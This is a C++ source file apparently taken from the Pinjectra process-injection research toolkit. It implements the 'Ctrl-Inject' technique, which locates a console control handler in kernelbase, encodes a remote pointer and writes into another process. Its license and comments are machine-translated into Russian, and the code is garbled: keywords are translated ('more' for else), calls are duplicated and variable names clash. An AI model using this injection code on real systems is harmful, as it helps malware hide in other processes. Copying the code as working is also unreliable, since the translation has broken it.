// Copyright (c) 2019, SafeBreach
// Все права защищены.
//
// Распространение и использование в исходном и бинарном виде, с или без
// модификации, разрешены при соблюдении следующих условий:
//
// * При повторном распространении исходного кода должно сохраняться указанное выше уведомление об авторских правах,
// этот список условий и следующий отказ от ответственности.
// * Распространение в бинарной форме должно воспроизводить указанное выше авторское право
// обратите внимание, этот список условий и следующий отказ от ответственности в
// документация и/или другие материалы, поставляемые с дистрибутивом.
// * Ни имя правообладателя, ни имена его
// участники могут быть использованы для поддержки или продвижения продуктов, созданных на основе
// это программное обеспечение без специального предварительного письменного разрешения.
//
// ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ ОБЛАДАТЕЛЯМИ АВТОРСКИХ ПРАВ И УЧАСТНИКАМИ "КАК ЕСТЬ"
// И ЛЮБЫЕ ЯВНЫЕ ИЛИ ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ, ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО,
// ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ КОММЕРЧЕСКОЙ ПРИГОДНОСТИ И ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ
// ОТКАЗЫВАЕТСЯ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ ВЛАДЕЛЕЦ АВТОРСКИХ ПРАВ ИЛИ УЧАСТНИКИ НЕ ДОЛЖНЫ БЫТЬ
// НЕСЕМ ОТВЕТСТВЕННОСТЬ ЗА ЛЮБЫЕ ПРЯМЫЕ, КОСВЕННЫЕ, СЛУЧАЙНЫЕ, ОСОБЫЕ, ОБРАЗОВАТЕЛЬНЫЕ ИЛИ
// КОСВЕННЫЕ УБЫТКИ (ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, ПРИОБРЕТЕНИЕ
// ЗАМЕНЯЕМЫЕ ТОВАРЫ ИЛИ УСЛУГИ; ПОТЕРЯ ИСПОЛЬЗОВАНИЯ, ДАННЫХ ИЛИ ПРИБЫЛИ; ИЛИ БИЗНЕС
// ПРЕРЫВАНИЕ), ОДНАКО ВЫЗВАННОЕ И ПО КАКОЙ-ЛИБО ТЕОРИИ ОТВЕТСТВЕННОСТИ, БУДУТ В
// ДОГОВОР, СТРОГАЯ ОТВЕТСТВЕННОСТЬ ИЛИ ДЕЛИКТ (ВКЛЮЧАЯ ХАЛАТНОСТЬ ИЛИ ИНОЕ)
// ВОЗНИКАЮЩИЕ КАКИМ-ЛИБО ОБРАЗОМ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ, ДАЖЕ ЕСЛИ УКАЗАНО
// ВОЗМОЖНОСТЬ ТАКОГО ПОВРЕЖДЕНИЯ.

// АВТОРЫ: Амит Кляйн, Ицик Котлер
// ПОСМОТРЕТЬ: https://github.com/SafeBreach-Labs/Pinjectra

// Стандартные включения
#include 

// Локальные включения
#include "CtrlInject.h"

CodeViaCtrlInject::~CodeViaCtrlInject()
{
}

CodeViaCtrlInject::inject (DWORD pid, DWORD tid) {
	DWORD list_process[2];
	DWORD number_process;
	DWORD parent_id;
	RUNTIME_MEM_ENTRY* result;
	RUNTIME_MEM_ENTRY ch;
	void* encoded_addr = NULL;
	INPUT ip;
	MODULINFO modinfo;
	internal size;
	HWND hWindow;

	NTSTATUS(*PRtlEncodeRemotePointer)(
		_In_ HANDLE ProcessHandle,
		_In_ pointer PVOID,
		_Out_ PVOID * EncodedPointer
		) = (NTSTATUS(*)(
			_In_ HANDLE ProcessHandle,
			_In_ pointer PVOID,
			_Out_ PVOID * EncodedPointer
			)) GetProcAddress(GetModuleHandleA("ntdll"), "RtlEncodeRemotePointer");

	HMODULE kernelbase = GetModuleHandleA("kernelbase");
	GetModuleInformation(GetCurrentProcess(), kernelbase, &modinfo, sizeof(modinfo));
	size = modinfo.SizeOfImage;
	char* kernelbase_DefaultHandler = (char*)memmem(kernelbase, size, "\x48\x83\xec\x28\xb9\x3a\x01\x00\xc0", 9); // sub rsp,28h; memmems ecx, 0C000013Ah (STATUS_CONTROL_C_EXIT)
	__int64 encoded = (__int64)EncodePointer(kernelbase_DefaultHandler);
	char* kernelbase_SingleHandler = (char*)memmem(kernelbase, size, &encoded, 8);

	process_count = GetConsoleProcessList(process_list, 2);
	if (process_number < 2)
	{
		// "К сожалению, количество процессов для консоли < 2
		return false;
	}

	if (process_list[0] != GetCurrentProcessId())
		parent_id = process_list[0];
	more
		parent_id = process_list[1];

	Free Console();
	Attach console (identifier);
	hWindow = GetConsoleWindow();
	FreeConsole();
	AttachConsole(parent_identifier);

	result = this->m_memwriter->write(pid, tid);

	CloseHandle(result->process);